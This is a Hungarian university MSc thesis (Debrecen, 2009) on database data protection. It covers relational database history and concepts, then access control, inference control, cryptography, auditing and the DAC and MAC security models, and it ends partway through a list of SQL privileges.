Debreceni Egyetem

Informatika Kar

ADATBÁZISOK ADATVÉDELME

Témavezető:

Dr. Fazekas Gábor

Ph.D., egyetemi docens

Készítette:

Gajdos János Rajnald

Programtervező-informatikus-MSC szakos hallgató

Debrecen

2009

Tartalomjegyzék

1. Bevezetés

A mai felgyorsult, rohanó világban az informatika nagyon fontos szerepet tölt be. Bárhová megyünk is például a helyi önkormányzatba vagy a bankunkhoz mindennapi ügyeket intézni, szembe találkozunk azzal, hogy a számítógépek nélkülözhetetlen eszközei a gyors és precíz ügyintézésnek. Ha belegondolunk abba, hogy telefon és e-mail segítségével kommunikálunk egymással, mindenhol megjelenik az informatika. Az informatikai eszközök rengeteg adatot generálnak, dolgoznak fel. Ezeket az adatokat tárolni kell, ezen adatok tárolására szolgálnak a különböző adatbázis-kezelő rendszerek. Viszont senki sem szeretné, ha üzleti, személyes adatai illetéktelenek kezébe kerülne, ezért nagyon fontos ága az informatikának az informatikai biztonság. Célom az, hogy bemutassam a már meglévő biztonsági modelleket, megmutassam, hogy hogyan lehet ezeket használni, és hogy felhívjam a figyelmet biztonság fontosságára. Továbbá bemutatom, az Oracle 11g biztonsági beállításait és opcióit, és célom, hogy egy átfogó képet adjak arról, hogy milyen biztonsági beállítások léteznek az adatbázis kezelő rendszerek felől és, hogy rámutassak az esetleges hibákra, és arra hogy ezeket hogyan lehet elkerülni. Sokszor lehet hallani olyan híreket amik, arról számolnak be, hogy bizonyos informatikai rendszereket feltörtek és bizalmas adatokhoz jutottak hozzá a támadók, ezzel több milliós kárt okozva az adott cégnek. Úgy látom, hogy ezek a cégek nem fordítanak kellő energiát, ideértve a pénzt és a dolgozók továbbképzését, a biztonságra. Nagyon sokan csak akkor kezdenek gondolkozni, amikor már megtörtént a baj. Ezért elengedhetetlen hogy foglalkozzunk a biztonság témakörével.

2. Relációs adatbázisok

2.1. Relációs adatbázis-kezelők története

Az adatbázismodelleknek többféle típusa létezik. Hierarchikus és hálós modelleket régi rendszereken használtak. A relációs modell széles körben elterjedtnek számít. A relációs adatbázis elve 1969-ben született meg, valószínűleg a legszélesebb körben használt modellé vált az adatbázis-kezelésben. A relációs modell atyja, Dr. Edgar F. Codd (1923–2003) az IBM kutatójaként dolgozott az 1960-as években, és azt vizsgálta, hogy milyen új módszerekkel lehet nagy adatmennyiségeket kezelni. Az akkor létező adatbázismodellekkel és termékekkel elégedetlen volt, ami arra ösztönözte, hogy matematikai elvek és szerkezetek segítségével próbálja meg megoldani az előtte álló rengeteg feladatot. Matematikusként szilárdan hitt benne, hogy a matematikának léteznek olyan ágai, amelyeket alkalmazva megoldhatók az olyan problémák, mint az adatismétlődés (redundancia) kiküszöbölése, az adatok egységességének biztosítása, illetve annak leküzdése, hogy az adatbázisok szerkezete túlzottan függjön a fizikai megvalósítástól.

Dr. Codd hivatalosan 1970 júniusában, az „A Relational Model of Data for Large Shared Databases” című, mérföldkőnek számító munkájában mutatta be az általa kidolgozott új relációs modellt. A modell a matematika két ágára támaszkodott: a halmazelméletre és az elsőrendű predikátumlogikára. Maga a modell is a halmazelmélet egyik kulcsfogalma, a reláció kifejezés után kapta a nevét. Azonban, relációs adatbázis nem indult sikertörténetnek. Magával az adatbázis logikai szerkezetével semmi baj nem volt, kísértetiesen hasonlít egy közönséges táblázatkezeléshez, csakhogy a lekérdezéssel gondok adódtak. A lekérdezés nyelve ugyanis halmazelméleti és logikai ismereteket igényelt, ami még a számítógép-programozásnál is mostohább feltételnek tűnt a felhasználók szemében. Maga az IBM sem fűzött hozzá komolyabb reményeket, hat év alatt hozták létre az első modern adatbázis-kezelőt, a System-R (ma DB/2) kódnevű szoftvert. Nem úgy a CIA, aki többek között Larry Ellison és Bob Miner segédletével egy hatalmas projektbe fogott bele, amelynek célja egy olyan adattár létrehozása volt, amely a CIA minden felmerülő kérdését gyorsan, hatékonyan, és aránylag olcsón megválaszolja. A projekt éppen az orákulum nevet kapta, angolul: Oracle. 1976-ban maga a projekt pénz hiányában nem folytatódott, de Ellison és Miner tovább dolgozott a munkán az általuk 1977-ben alapított Relational Software Inc. (RSI, 1982-től Oracle Corp.) keretein belül. 1977-ben pedig létrejött az első Oracle. A jó időben, a számítástechnikai boom idején végrehajtott korai piacszerzés ellehetetlenítette a többi

lehetséges adatmodell virágzását. Hiába jelent meg 1977-ben az első értekezés egy tisztán logikára épülő adatmodellről, az elterjedésére nem volt idő. 1982-re, amikor az első ipari alkalmazásra is bevethető „Datalog" adatbázis-kezelőt létrehozzák, már számos cégnek teljesen önálló relációs adatmodell alapú terméke volt a piacon. Az adatbázisok létrehozására és kezelésére megszülettek az önálló adatbázis-kezelő nyelvek. Számos nyelv jött létre, ami viszont ismét hozzáférési problémákat, gondokat okozott.

1980-as évek elejére az IBM kidolgozott egy később szabványnak is elfogadott nyelvet, ami SQL néven vált ismerté. Rövid történeti áttekintésként annyit, hogy az SQL nyelv elméleti alapjait E. F. Codd fektette le a relációs adatmodellről szóló 1970-ben megjelent tanulmányában. 1973-ban készült el a nyelv első megvalósítása az IBM-nél „Sequel" néven. 1985-ben az ANSI (American National Standards Institute, Amerikai Szabványosítási Hivatal) elfogadott egy SQL szabványt, amit később módosítottak, és az ISO (International Organization for Standardization, Nemzetközi Szabványügyi Szervezet) is elfogadott. Az SQL ma már az adatlekérdezés világszabványa, amit minden korszerű adatbázis-kezelőnek ismernie kell. 1986-ban az SQL, mint a relációs adatbázisok lekérdezőnyelve az Egyesült Államokban is, és Európában is szabványossá válik, ami a többi adatbázisról még nagyon sokáig nem mondható el.

1990-es évek elején egy új programozási szemléletmód, az objektumorientáltság jelent meg. Mivel a legtöbb programozási nyelvet aránylag hamar kiszorította, sokáig úgy tűnt az adatbázisok világában is megtöri a relációs adatbázisok uralmát. Ez azonban korántsem következett be. Jelenleg az adatbázis-piac kevesebb, mint 3% objektumorientált adatbázis. Manapság a legfontosabb intézményi információs rendszerek alapját maguk az adatbázisok alkotják, ugyanakkor tipikusan objektumorientált programozási nyelveken írt alkalmazások használnak relációs adatbázisokat. Ezt a fajta tudathasadást egy öszvér megoldással igyekeznek napjainkban áthidalni, nevezetesen objektumszerűen lehet elérni relációs adatbázistartalmakat. Erre, a logikai adatbázis fogalma eleve lehetőséget ad, de szabványban, formális módon is rögzítették ennek mikéntjét; ez az SQL.

A fejlődés persze nem állt meg, bár lényegesen lelassult. 1999-ben hirdette meg a szemantikus Web programját (Tim Berners-Lee, az Internet atyja), amely többek között az XML nyelv általános elterjedéséhez vezetett. Ezzel párhuzamosan pedig megjelentek az első XML dokumentumokra épülő adatbázisok. A félreértés elkerülése végett az XML adatbázisok alapvetően nem, vagy nem tipikusan XML struktúrákban tárolják az adatokat (felesleg

helypazarlás lenne) nem a fizikai adatbázis változott meg, hanem ismét csak a logikai. Az XML dokumentumok lekérdezésére létrehozták a W3C konzorcium ajánlásaként az XQuery és XPath lekérdezőnyelveket. Az XML alapú adatbázisok elterjedéséhez az adja az alapot, hogy az uralkodó trendek szerint ma nem a felhasználók, hanem szoftverek, szoftverügynökök állítanak elő és dolgoznak fel automatikusan és fél-automatikusan lekérdezéseket. Az XQuery és XPath alapú megoldások az ilyen jellegű elvárásoknak sokkal jobban megfelelnek, mint a főleg emberi intelligenciát igénylő SQL alapú rendszerek. *[Irodalomjegyzék 7.]*

2.2. Relációs adatbázis-kezelők tulajdonságai

Az adatbázis adatok rendezett gyűjteménye, amellyel valamilyen szervezett dolgot vagy szervezési folyamatot modellezünk. Adatbázisról akkor beszélünk, ha az adatokat konkrét célra, valamilyen rendezett formában gyűjtjük és tároljuk. Az adatbázis-kezelés területén általánosságban kétféle adatbázist különböztethetünk meg, vannak műveleti adatbázisok és elemző adatbázisok. A műveleti adatbázisok képezik számos vállalat, szervezet és intézmény gerincét. Ezt a fajta adatbázist elsősorban mindennapi adatgyűjtésre, adatok módosításra és kezelésre használják. Itt a tárolt adatok dinamikus adatok, ami azt jelenti, hogy folyamatosan változnak, és mindig friss információkat tárolnak. Műveleti adatbázisokat az olyan szervezetek használnak, mint az áruházak, a kórházak és klinikák, valamint a könyvkiadók, mivel az adataik percről percre változnak. Ezzel szemben az elemző adatbázisok korábbról származó, időponthoz kapcsolódó adatokat tárolnak és rendszereznek. Az összegyűjtött adatokból statisztikai jelentések, kimutatások megjelenítését, illetve a taktikai és stratégiai üzleti előrejelzését teszik lehetővé.

A relációs-adatbázisokban az adatok relációkban tárolódnak, amelyeket a felhasználó táblák formájában lát. Az egyes relációk egyedekből ügynevezett rekordokból és jellemzőkből, mezőkből állnak. Az adatbázisok fő szerkezeti elemei a táblák. Minden tábla egyetlen meghatározott tárgyat ábrázol. A mezők és a rekordok logikai sorrendje a táblán belül nem számít. Minden táblának tartalmaznia kell legalább egy mezőt az úgynevezett elsődleges kulcsot, amely egyedileg azonosítja a tábla egyes rekordjait. A relációs adatbázisokban levő adatok, táblák függetlenek attól, hogy fizikailag miként tárolódnak a számítógépen. Ez abból a szempontból előnyös a felhasználóknak, hogy ha ki szeretnének

nyerni egy adatot, nem kell ismerniük a tároló rekord fizikai helyét. A táblák egy személyt, egy helyet vagy más fizikai dolgot ábrázolhatnak. Táblában ábrázolhatók például, termékek, hallgatók, termek, berendezések, objektumokként. Minden objektumnak vannak olyan jellemzői, amelyek adatként tárolhatók, a típusától függetlenül, és ezeket az adatokat aztán végtelen módon fel lehet dolgozni. Amennyiben a tábla tárgya egy esemény, ami egy adott időpontban történt, és olyan jellemzői vannak, amelyeket rögzíteni szeretnénk, akkor ezeket a jellemzőket pontosan ugyanúgy tárolhatjuk adatként, és dolgozhatjuk fel, mint információt, mint azokban a táblákban, amelyek valamilyen konkrét objektumot írnak le.

A mező az adatbázis legkisebb szerkezeti egysége, amely a hozzá tartozó tábla tárgyának egy jellemzőjét írja le. A mezőkben történik az adatok tényleges tárolása, a bennük lévő adatokat, kinyerhetjük és információként megjeleníthetjük, bármilyen formában. Optimális esetben egy mező kizárólag egyetlen értéket tartalmazhat, a mező neve azonosítja a benne tárolt érték típusát. Kimondottan egyszerűvé válik az adatok bevitele a mezőkbe, ha olyan nevű mezőket látunk, mint a „Keresztnév”, a „Vezetéknév”, a „Város”, „Állam/Megye” vagy az „Irányítószám”. A rekord egy adott tábla tárgyának egy egyedi példányát jelképezi, amely a tábla adott sorában található összes mezőt tartalmazza, függetlenül attól, hogy az egyes mezőkben szerepelnek-e értékek. Minden rekordot egy egyedi érték azonosít az adatbázisban, és ez az érték a rekord elsődleges kulcs mezőjében van. A kulcsok olyan különleges mezők, amik meghatározott szerepet töltenek be az egyes táblákban. Ezt a szerepet a kulcs típusa határozza meg. Egy tábla többféle kulcsot tartalmazhat, ezek közül a két legfontosabb az elsődleges kulcs és az idegen kulcs. Az elsődleges kulcs olyan mező vagy mezőcsoport, ami egyedileg azonosítja a táblában található rekordokat. Az elsődleges kulcsokat arra is használhatjuk, hogy kapcsolatot alakítsunk ki más táblákkal. Az adatbázis minden táblájának rendelkeznie kell elsődleges kulccsal. Ha két táblát valamilyen módon összekapcsolunk, a kapcsolatot úgy kell létre hozni, hogy az egyik tábla elsődleges kulcsát lemásoljuk és beszúrjuk a másik táblába, ahol az idegen kulcsként jelenik meg. Az idegen kulcsok azért fontosak, mert segítenek kapcsolatot teremteni két tábla között, továbbá azért, mert biztosítják a kapcsolatszintű következetességet, azaz a két tábla rekordjai mindig helyes kapcsolatban fognak állni, mivel az idegen kulcs mező értékei a hivatkozott elsődleges kulcs értékeiből származnak. A nézet egy olyan virtuális tábla, amely az adatbázis egy vagy több táblájának mezőiből épül fel. A nézettáblát alkotó táblák az alaptáblák. A nézettáblák nem tárolnak adatokat, az adatbázisban csak a szerkezetük az egyetlen információ, ami tárolódik

róluk. A nézettáblák azt teszik lehetővé, hogy az adatbázisban tárolt információkat különféle szempontból tekintsük meg, így az adatok kezelése nagyon rugalmassá válik. Nézettáblákat többféleképpen hozhatunk létre, akkor hasznosak, amikor több, egymással kapcsolatban álló táblára alkalmazzuk őket. A nézettáblákat szokás mentett lekérdezésként megvalósítani. A lekérdezések a legtöbb esetben rendelkeznek a nézetek minden jellemzőjével, vagyis csupán a nevük az egyetlen különbség köztük.

Ha egy adott tábla rekordjai valamilyen módon egy másik tábla rekordjaihoz köthetők, akkor azt mondjuk, hogy a táblák között kapcsolat van. Két tábla között háromféle kapcsolat állhat fenn: egy az egyhez, egy a többhöz (egy-a-sokhoz) vagy több a többhöz (sok-a-sokhoz). A kapcsolatok fajtáinak ismerete nagyon fontos abból a szemszögből, hogy hogyan működnek a nézettáblák, és hogy hogyan kell a többtáblás SQL-lekérdezéseket megtervezni és használni.

Két tábla egy az egyhez kapcsolatban van, ha az egyik tábla („A”) egy rekordja a másik tábla („B”)egyetlen rekordjához kapcsolódik, és a „B” tábla egy rekordja is egyetlen rekorddal áll kapcsolatban az „A” táblából. Ebben a kapcsolatban az egyik tábla elsődleges tábla, míg a másik másodlagos tábla. A kapcsolat létrehozásához venni kell az elsődleges tábla elsődleges kulcsát, és azt beszúrni a másodlagos táblába, ahol idegen kulcs lesz belőle.

Ha két tábla egy a többhöz kapcsolatban van, ha az „A” tábla egy rekordja a „B” tábla több rekordjához is kapcsolódik, de a „B” tábla egy rekordja csak egyetlen rekorddal áll kapcsolatban az „A” táblából. Ezt a kapcsolatot úgy hozható létre, hogy a kapcsolat „egy” oldalán álló tábla elsődleges kulcsát beszúrjuk a „több” oldalon levő táblába, ahol idegen kulcs lesz belőle.

Két tábla több a többhöz kapcsolatban van, ha az „A” tábla egy rekordja a „B” tábla több rekordjához kapcsolódik, és a „B” tábla egy rekordja is több rekorddal áll kapcsolatban az „A” táblából. Ezt a kapcsolat úgy hozható létre, hogy készítünk egy úgynevezett kapcsoló táblát, a kapcsoló tábla segítségével egyszerűen társíthatjuk a rekordokat az egyik táblából a másik tábla rekordjaihoz, továbbá a kapcsoló tábla gondoskodik arról, hogy a kapcsolódó adatok hozzáadása, törlése vagy módosítása során semmilyen gond ne lépjen fel. A kapcsoló tábla létrehozásához le kell másolni a kapcsolatban részt vevő táblák elsődleges kulcsát, és ezek segítségével alkotjuk meg az új tábla szerkezetét. A kulcsmezők két jól elkülöníthető szerepet töltenek be együttesen a kapcsoló tábla összetett elsődleges kulcsát adják, külön-külön pedig idegen kulcsokként viselkednek.

A manapság használt kereskedelmi adatbázis-kezelő szoftverek elég nagy része relációs alapokon nyugszik. Mielőtt valaki elkezd adatbázisokkal dolgozni, nagyon fontos hogy tisztában legyen az alapfogalmakkal, tudnia kell, hogyan kell megtervezni egy relációs adatbázist, és hogyan kell azt megvalósítani valamelyik RDBMS szoftverrel. Napjainkban rengetek cég folytat üzleti tevékenységet az interneten ezért némi web-fejlesztési tapasztalat is szükséges. A relációs adatbázisok ismerete nagyon fontos, mivel kellő ismerettel könnyebben tudunk egy adott adatbázishoz felhasználói alkalmazásokat fejleszteni. *[Irodalomjegyzék 4.]*

3. Adatbázisok védelme

3.1. Az adatbázisok védelmének meghatározó tényezői

Az adatbázisokon alapuló információs rendszerek egyik lényeges vonása, hogy a bennük tárolt információkat védeni kell. Belegondolva abba, hogy mennyire felháborodnánk, ha a bankokban vezetett számláinkról bárki pontos információt kaphatna, ha minden adatunk nyilvánossá válna, vagy például, ha számláinkról bárki pénzt emelhet le a mi tudtunk, hozzájárulásunk nélkül. Az információs rendszernek úgy kell működnie, hogy mindenki csak a jogosultsági körébe eső adatokat érhesse el. Az információ védelme nem kizárólagosan az adatbázis-kezelő rendszerek feladataihoz kapcsolódik, hiszen az informatika szinte minden területén szükség van az ott feldolgozott információk jogosulatlan felhasználásának megakadályozására. Az operációs rendszerek területén is találkozhatunk a védelem legkülönbözőbb megjelenési formáival. Rögtön az induláskor a rendszerhez való hozzáférést csak akkor kapjuk meg, ha azonosítjuk magunkat, mint jogosult felhasználó egy azonosító név és egy jelszó segítségével. A sikeres bejelentkezés után a több-felhasználós rendszer nem tárulkozik ki előttünk teljes egészében, csak bizonyos részletekhez enged hozzáférést. A leggyakoribb operációs rendszerbeli védelmek a felhasználókat és az objektumokat azonosító kódrendszeren, egy hozzáférési listán, vagy pedig egy privilégium rendszeren alapszanak. Az adatbázis-kezelő rendszerekben is vannak ilyen védelmi funkciók, például az Oracle RDBMS esetében is, előbb azonosítani kell magunkat egy névvel és egy jelszóval, hogy hozzáférhessünk az adatbázisban tárolt adatokhoz. A sikeres bejelentkezés után, csak egy korlátozott hozzáférési jogot kapunk az adatbázishoz, hiszen mind az elvégezhető műveletek, mind pedig az elérhető objektumok csak egy szűk része az adatbázisban letárolt és biztosított objektumok, funkciók halmazának.

A következőkben az RDBMS rendszerekben megvalósított védelmi funkciókat és védelmi módszereket mutatom be. Az RDBMS számos az operációs rendszerben megszokottól eltérő egyedi védelmi sajátsággal is rendelkezik. Az operációs rendszerek utasításai, mechanizmusai önmagukban nem elegendőek az RDBMS hatékony védelmi mechanizmusának kiépítésére. Az RDBMS rendszerek védelmi aspektusát vizsgálva az adatbázis biztonságának fogalmát ez előbb említettektől tágabb értelemben is szokás használni. A biztonság ebben a megközelítésben mindazt magába foglalja, ami a rendeltetésszerű, elvárt működéshez szükséges. Ide szokás sorolni azon mechanizmusokat is, melyek a tárolt adatok helyessége, az adatok integritása felett őrködnek, hiszen a téves adatok

a rendszer használhatóságát aknázzák alá. Az elvárt működéshez tartozik még emellett az is, hogy a rendszer az igényelt időkben, körülmények között ki tudja szolgálni az igényeket, ne vesszenek el belőle adatok, ne kelljen rendszer összeomlások miatt várakozni. Ez alapján tehát az RDBMS biztonsága általános szinten tekintve három fő komponenst foglal magába:

- adatok védelme (security)
- adatok megbízhatósága (integrity)
- rendelkezésre állás (avaibality)

Így a rendszer biztonságának megítélésénél figyelembe kell venni, hogy mennyire véd meg a jogosulatlan hozzáférésektől, másodsorban mennyire tudja garantálni az adatok helyességét, integritását, s harmadsorban mennyire megbízható a rendszer működése. E szempontok együttese ad igazán mérvadó jellemzést a biztonság fokáról.

A hozzáférés védelem önmagában is egy igen széles területet ölel fel. Számos olyan ága van, melyek mindegyike különálló ágat képvisel. A hozzáférés védelem ugyanis sokkal több dolgot rejt magában, mint egy egyszerű engedélyezés-tiltás mechanizmus, melyben az igénylő és az igényelt objektum-azonosító számainak függvényében vagy engedélyezzük a hozzáférést, vagy pedig letiltjuk a hozzáférést. Ugyanis mind a hozzáférés módjainak, mind pedig a tiltás módjainak számos árnyalata létezik, melyek teszik igazán tarkává és igazán érdekessé a képet. A lehetséges védelmi mechanizmusok között természetesen első rendű fontosságot a hozzáférési jogosultság ellenőrzése (access control) áll. E mechanizmus feladata, hogy adott igénylő és igényelt objektum esetén eldöntse, hogy engedélyezhető-e az igényelt hozzáférési mód vagy sem. Az engedélyezésnek számos változata, módszere lehet. A gyakorlatban mi magunk is a bőrünkön érezhetjük e mechanizmus működését, amikor egy másik felhasználó tábláit szeretnénk például olvasni, s a rendszer nem hajtja végre az olvasást, ehelyett visszautasítja ez irányú parancsunkat.

Ugyancsak lényeges és szintén közismert eleme a védelemnek a bejelentkezési mechanizmus, amikor is egy név és egy jelszó segítségével közöljük a rendszerrel, hogy jogosult felhasználók vagyunk. E mechanizmus az azonosítási mechanizmus (identification). Az RDBMS rendszerek a jelszavak tárolására és ellenőrzésére hasonló mechanizmust használnak, mint az operációs rendszerek, azaz egy egy-utas „hash” függvényt meghívva kódolja a megadott jelszót. Az egy-utas elnevezés arra utal, hogy a kódolt alakból már nem lehet visszakövetkeztetni (legalábbis hatékony algoritmussal) az eredeti jelszóra. A bejelentkezéskor megadott jelszót előbb kódolják, s a kapott kódolt alakot hasonlítják össze a

letárolt alakkal. Ha a két kódolt alak megegyezik, akkor a helyesnek tekinthető a bevitt jelszó. A kódolt jelszavak tárolása az RDBMS esetében rendszer táblában történik, melyhez azonban normál felhasználónak még olvasási jogosultsága sem létezik.

Egy igen érdekes védelmi elem a következtetési lehetőségek kizárásának mechanizmusa (inference control). Ez a mechanizmus azt kívánja megakadályozni, hogy jogosult adatok alapján ne lehessen nem jogosult adatokra következtetni. Normál esetben összesített adatokból nem lehet az egyedi értékekre következtetni, de ha például, csak egyetlen rekord szerepel az aggregációs alaphalmazban, akkor máris egyedi értékekhez jutott a felhasználó. Ugyancsak fontos információk nyerhetők ki a rendszer által küldött hibaüzenetek alakjából is, hiszen nem ugyanazt jelenti a felhasználó számára, ha egy hivatkozás például azért nem sikerült, mert az objektum nem létezik, mintha a védelmi korlátokra utal a hibaüzenet. Ez utóbbi esetben már az objektum létezésére lehet következtetni. A következtetések megnehezítésére számos megoldási javaslatot dolgoztak ki, melyek vonatkoznak az aggregációs eredmények ellenőrzésére, így például egy megadott egyedszám alatt nem lehet aggregációs lekérdezést hívni. Egyes javaslatok az egyedi értékek zavarásán alapulnak, így a kapott egyedi értékek nem a valós értékeknek, hanem olyan generált értékeknek felelnek meg, amelyek összességüket tekintve hasonlóan viselkednek az eredeti egyedhalmazhoz. A következtetések megnehezítésének egy másik módszere a hibaüzenetek szándékosan kétértelművé tétele (amellyel valóban találkozhatunk is az RDBMS rendszerekben).

A védelmi mechanizmusok közé tartozik még a titkosítás módszere (cryptography). Ebben az esetben nem a hozzáférést, hanem az olvasott adatok megértését kívánják megakadályozni. A titkosításnak is számos változata van, kezdve a DES blokk-kódolástól az FSR, RSA, stb. kódolási algoritmusokig. E területnek önmagában is igen széles irodalma, háttere van. A titkosítás lehetőségét gyakran alkalmazzák olyan adatrendszerek is, amelyekben az operációs rendszer nem biztosítja a megfelelő védelmi hátteret. Az adatáramlás ellenőrzés (data flow control) feladata a felhasználóhoz kerülő és onnan továbbjutó adatok áramlásának ellenőrzése. Természetesen ez igen nehezen ellenőrizhető, hiszen vannak olyan csatornák is, melyek kikerülik az RDBMS ellenőrzési rendszerét, például szóbeli közlés formájában. A mechanizmus inkább arra készült, hogy véletlenül, esetleg gondatlanságból az RDBMS-t felhasználva ne tudjon egy felhasználó bizalmas információt jogosulatlan felhasználók felé továbbítani.

A védelemi módszerekhez sorolható még a naplózás (audit) rendszere, amely ugyan közvetlenül nem alkalmas a hozzáférés megakadályozására, de az utólagos ellenőrzések miatt elrettentő, s később bizonyító hatása van. A naplózás jelentős helyigénye miatt e lehetőséget csak igen szűk felhasználói körnek szokták engedélyezni. A legfontosabb védelmi mechanizmusok közé tehát következők tartoznak:

- bejelentkezés ellenőrzés (identification, login account)
- hozzáférés ellenőrzés (access control)
- következtetési ellenőrzés (inference control)
- adatáramlás ellenőrzés (flow control)
- titkosítás (cryptologhy)
- naplózás (audit)

E mechanizmusok rendszerint együtt, egymáshoz kapcsolódóan jelennek meg az RDBMS védelmi rendszerében. A védelmi rendszer a kiépítettségtől függően néhány vagy éppen mindegyik elemét tartalmazza a fenti listának. E rendszerek együttesen gondoskodnak a hozzáférési védelem biztosításáról. A védelmi rendszer a felhasználók és az erőforrások között helyezkedik el és szerepe a hozzáférések ellenőrzése. A védelmi rendszeren belül különböző védelmi mechanizmusok kerülnek megvalósításra, melyek együttesen valósítják meg az RDBMS védelmét. Az egyes mechanizmusokhoz kapcsolódik egy algoritmus rész (védelmi módszer), amely leírja a mechanizmus működését (mikor mit kell tenni), illetve társul hozzá egy védelmi adatrendszer is, mely az objektumok, felhasználók jogosultsági adatait tartalmazza. A védelmi módszerek ezen a jogosultsági adatok alapján döntik el, hogy egy konkrét hozzáférési igény teljesíthető-e vagy sem. A védelmi rendszer több, különböző funkciójú védelmi módszert is tartalmazhat. A módszerek kiválasztásához szükséges egy irányító elv, amit védelmi stratégiának nevezünk. Ezen elv határozza meg, hogy mire kell ügyelni a védelmi rendszernek, mi legyen a védelmi rendszer célja. A stratégia alapján már kiválaszthatók a stratégiát megvalósító mechanizmusok.

Az RDBMS rendszerek alapvetően kétféle fő stratégiai alapirány valamelyikét valósítják meg, illetve vannak bizonyos rendszerek, melyek mindkét alapirányhoz tartozó mechanizmusokat megvalósítják rendszereikben védelem maximális teljesítőképessége érdekében. Az egyik fő irány a diszkrecionális, decentralizált védelmi stratégia (DAC, discretionary access control). Ennek jellemzője, hogy a védelmi adatok kezelése decentralizáltan történik. Ilyen stratégián alapul az operációs rendszerek állományvédelmi

mechanizmusa is, melyben minden objektumnak és felhasználónak egyedi azonosító kóddal kell rendelkeznie, s az objektumhoz való hozzáférést alapvetően az objektum tulajdonosa, az objektumot létrehozó személy határozza meg. Ebben a rendszerben az objektum tulajdonosa adhat, illetve vonhat meg hozzáférési jogokat más személyektől. E rendszer előnye, hogy nem szükséges központi nyilvántartás a védelmi adatokról, s nincs szükség központi ellenőrzésre sem az objektumok fölött. A tulajdonos határozhatja meg, hogy mely felhasználók férhetnek hozzá az objektumokhoz, azaz a tulajdonos felelőssége az adatok megfelelő védelmi szinten való megőrzése. Ez a nagyfokú szabadság azonban bizonyos esetekben már a biztonság rovására mehet, ezért kidolgoztak egy másik stratégiai modellt is a szigorúbb követelmények teljesítéséhez.

A másik alapvető stratégia a kötelező jellegű, központi irányítású védelmi rendszerhez tartozik (MAC, mandatory access control). Ebben a stratégiában egy központi menedzser felügyeli a kötelező jellegű védelmi kódokat. Minden egyed és az objektum védelmi kódját egyetlen központi helyről határozzák meg. A hozzáférés engedélyezése itt is az objektum és a kérelmező védelmi kódjainak alapján dől el, azonban itt egy kifinomultabb védelmi adatszerkezetet hoztak létre, melyben finomabban lehet mind a felhasználókat, mind az objektumokat osztályozni. A MAC rendszer előnye, hogy a központi irányításból következően sokkal jobban ellenőrizhető az adathozzáférés, és az adatáramlás is. A MAC előnye még a strukturáltabb védelmi kódok is. A hátrányok közé viszont a valamivel nagyobb erőforrásigény sorolható, hiszen több információt, részletesebb információt kell tárolni az objektumokról, s személyekről. A MAC rendszereket rendszerint a nagyobb védelmi igényű helyeken, mint a hadiipar, kormányzás alkalmazzák.

3.2 A DAC modell

A DAC modell jellemzője, hogy minden objektumhoz külön feljegyzésre kerül, hogy mely felhasználók férhetnek hozzá. A hozzáférésnek rendszerint több típusát különböztetjük meg, ami utal arra, hogy milyen tevékenységet kíván a felhasználó az objektumon végrehajtani. A leggyakoribb hozzáférési módok: olvasás (r), írás (w) és végrehajtás (x). Az objektumok és a felhasználók kapcsolatát egy hozzáférési mátrixszal szokás reprezentálni. A hozzáférési mátrix (access-matrix) oszlopai az egyes objektumoknak, míg sorai az egyes felhasználóknak felelnek meg. A mátrix cellái az engedélyezett

műveleteket tartalmazza. Így a védelmi mechanizmus csak azon hozzáférési módon engedélyezi, amely szerepel az érintett objektum és felhasználó pároshoz tartozó cellában. Az egyes védelmi módszerek különbözhetnek egymástól abban, hogy hogyan kezeli a különböző felhasználókat, és milyen bejegyzések szerepelhetnek a cellában. A legegyszerűbb esetekben, mint például az UNIX operációs rendszer állomány védelmi rendszerében is, a felhasználókat nem egyénileg azonosítják az objektumoknál, hanem csoportokba válogatják őket, s e csoportok minden tagjához ugyanazt a védelmi szintet rendelik. A UNIX esetén például a felhasználókat, objektumokat egy (csoportszám, tagszám) párossal azonosítják, ahol az objektumok felveszik az őket létrehozó felhasználó kódját. Az objektum és a kérelmező felhasználó kódpárosa alapján a kérelmező az alábbi három csoport valamelyikébe sorolható:

- tulajdonos, mind a csoportszám, mind a tagszám egyforma
- csoport, a csoportszám megegyezik
- külvilág, nem egyezik meg egyik kódszám sem

Így minden objektumnál e három csoportra vonatkozó jogosultságok szerepelnek, s nincs lehetőség egyedi felhasználókra vonatkozó jogok megadására. Ezzel, sokkal egyszerűbbé válik a jogosultságok kezelése, viszont kevésbé rugalmas lesz a védelmi rendszer. A rugalmasságot növeli, ha bármely objektum esetén lehetőség van az egyes felhasználókra külön-külön is megadni és szabályozni a jogosultságokat. Ebben az esetben a hozzáférési mátrix terjedelmesebb felépítésű lesz, hiszen minden felhasználónak külön megadhatjuk az engedélyezett jogosultságokat. Az operációs rendszerek esetén az egyes cellákban az engedélyezett műveletek felsorolása található. Bármely kérelem esetén akkor és csak akkor engedélyezett a művelet, ha az a listában szerepel. Az engedélyezett műveletlista meghatározása alapvetően az objektum tulajdonosának a feladata, de az adminisztráció megkönnyítésére létezik egy alapértelmezési jogosultsági kör is minden felhasználó esetén. Az RDBMS rendszerek rendszerint a hozzáférési mátrix alapmodellen alapuló mechanizmust használják. Ennek fő jellemzője, hogy részletes szabályozáson alapul, azaz minden objektum és minden felhasználó párosa esetén lehetőség van a jogosultsági kör meghatározására. Az alapmodell másik jellemzője, hogy a cellák nem csak egy műveletlistát tartalmaznak, hanem a műveletek mellett egy feltétel is állhat, mely leszűkíti az engedélyezés lehetőségét. Azaz egy adott kérelem esetén a kért művelet csak akkor engedélyezett, ha egyrészt a művelet benne van a listában és másrészt teljesül a cellában megadott feltétel is. Így például egy olvasási jog leszűkíthető a délelőtti órákra (azaz délután már nem olvashatja a felhasználó az objektumot),

vagy megadott terminálokra. Az engedélyezhető műveletek köre más, mint a szokásos írás-olvasás-végrehajtás elemek, s az elvégezhető SQL adatkezelő és adatdefiníciós műveleteken alapulnak. Másrészt azt is figyelembe kell venni, hogy az RDBMS egymástól igen eltérő objektumokat tartalmaz, melyekhez eltérő műveleti lehetőségek csatlakoznak. Így például egy „SEQUENCE" objektum sokkal korlátozottabb lehetőségeket adhat, mint egy „TABLE" objektum, hiszen a „SEQUENCE" nem bővíthető, indexelhető, stb.

Az egyes műveletek és rövid értelmezésük:

- ALTER: az objektum struktúrájának módosíthatósága
- DELETE: az objektum egyes elemeinek törlése
- INDEX: index létrehozása az obejktumhoz
- INSERT: új érték beszúrása az obejktumba
- REFERENCES: idegen kulcs hivatkozhat-e az obejktumra
- SELECT: az objektumban tárolt értékek lekérdezése
- UPDATE: az objektumban tárolt értékek módosítása

